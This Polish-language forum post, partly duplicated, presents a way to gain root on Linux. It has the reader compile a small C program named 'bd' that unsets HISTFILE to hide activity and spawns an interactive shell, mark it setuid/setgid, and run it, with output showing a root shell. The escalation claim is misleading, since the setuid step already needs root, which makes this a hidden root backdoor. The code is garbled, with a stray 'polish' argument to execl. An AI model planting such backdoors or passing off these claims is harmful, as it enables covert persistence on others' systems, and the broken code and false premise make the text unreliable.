//*zaznaczam, ze tekst przeznaczony, dla bardziej zaawansowanych uzytkownikow forum */
przyblize moze nieco niektorym jeden ze sposobow zdobywania uprawnien uzytkownika root w systemie linux.
bedac na shellu tworzymy sobie plik o dowolnej nazwie, np. 'bd'
me@host<$ touch bd
edytujemy go w dowolny sposob (przez edycje pliku w mc, lub pico)
me@host<$ pico bd
w srodku piszemy:
zapisujmy (ctrl+o) i zamykamy edytor (ctrl+x)
nastepnie musimy nadac odpowiednie wlasciwosci naszemu plikowi:
-rwsr-sr-x
nastepnie wydajemy uruchamiamy nasz program:
me@host<$ ./bd
root@host<# whoami;id
root
uid=0(root) gid=0(root) groups=0(root),..
przyblize moze nieco niektorym jeden ze sposobow zdobywania uprawnien uzytkownika root w systemie linux.
bedac na shellu tworzymy sobie plik o dowolnej nazwie, np. 'bd'
me@host<$ touch bd
edytujemy go w dowolny sposob (przez edycje pliku w mc, lub pico)
me@host<$ pico bd
w srodku piszemy:
Kod:
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
int main()
{
unsetenv("HISTFILE");
execl("/bin/sh","sh","-i",polish);
return 0;
}
zapisujmy (ctrl+o) i zamykamy edytor (ctrl+x)
nastepnie musimy nadac odpowiednie wlasciwosci naszemu plikowi:
-rwsr-sr-x
nastepnie wydajemy uruchamiamy nasz program:
me@host<$ ./bd
root@host<# whoami;id
root
uid=0(root) gid=0(root) groups=0(root),..